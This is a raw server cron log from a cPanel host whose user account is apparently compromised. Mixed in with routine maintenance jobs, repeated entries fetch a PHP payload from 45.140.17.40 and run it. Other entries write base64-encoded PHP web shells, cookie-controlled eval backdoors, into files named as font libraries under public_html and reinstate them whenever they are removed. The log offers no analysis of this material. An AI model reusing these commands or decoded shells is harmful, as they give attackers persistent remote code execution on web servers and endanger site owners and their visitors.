Sep 20 05:26:01 ip-184-168-122-23 CROND[2326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:26:01 ip-184-168-122-23 CROND[2325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:26:01 ip-184-168-122-23 CROND[2331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:27:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:27:01 ip-184-168-122-23 CROND[2665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:27:01 ip-184-168-122-23 CROND[2664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:27:01 ip-184-168-122-23 CROND[2666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:28:01 ip-184-168-122-23 CROND[2903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:28:01 ip-184-168-122-23 CROND[2904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:28:01 ip-184-168-122-23 CROND[2910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:28:01 ip-184-168-122-23 CROND[2911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:28:01 ip-184-168-122-23 CROND[2909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:29:01 ip-184-168-122-23 CROND[3167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:29:01 ip-184-168-122-23 CROND[3168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:29:01 ip-184-168-122-23 CROND[3169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:29:01 ip-184-168-122-23 CROND[3171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3419]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:30:01 ip-184-168-122-23 CROND[3424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:30:01 ip-184-168-122-23 CROND[3429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:30:01 ip-184-168-122-23 CROND[3431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:31:01 ip-184-168-122-23 CROND[3676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:31:01 ip-184-168-122-23 CROND[3680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:31:01 ip-184-168-122-23 CROND[3681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:31:01 ip-184-168-122-23 CROND[3678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:31:01 ip-184-168-122-23 CROND[3682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 05:32:01 ip-184-168-122-23 CROND[4011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:32:01 ip-184-168-122-23 CROND[4013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:32:01 ip-184-168-122-23 CROND[4015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:32:01 ip-184-168-122-23 CROND[4018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:32:01 ip-184-168-122-23 CROND[4020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:33:01 ip-184-168-122-23 CROND[4241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:33:01 ip-184-168-122-23 CROND[4243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:33:01 ip-184-168-122-23 CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:33:01 ip-184-168-122-23 CROND[4250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:34:01 ip-184-168-122-23 CROND[4492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:34:01 ip-184-168-122-23 CROND[4493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:34:01 ip-184-168-122-23 CROND[4497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:34:01 ip-184-168-122-23 CROND[4496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:34:01 ip-184-168-122-23 CROND[4498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4747]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4751]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:35:01 ip-184-168-122-23 CROND[4754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:36:01 ip-184-168-122-23 CROND[5007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:36:01 ip-184-168-122-23 CROND[5009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:36:01 ip-184-168-122-23 CROND[5011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:36:01 ip-184-168-122-23 CROND[5010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:36:01 ip-184-168-122-23 CROND[5012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:37:01 ip-184-168-122-23 CROND[5255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:37:01 ip-184-168-122-23 CROND[5257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:37:01 ip-184-168-122-23 CROND[5258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:37:01 ip-184-168-122-23 CROND[5259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:38:01 ip-184-168-122-23 CROND[5586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:38:01 ip-184-168-122-23 CROND[5587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:38:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
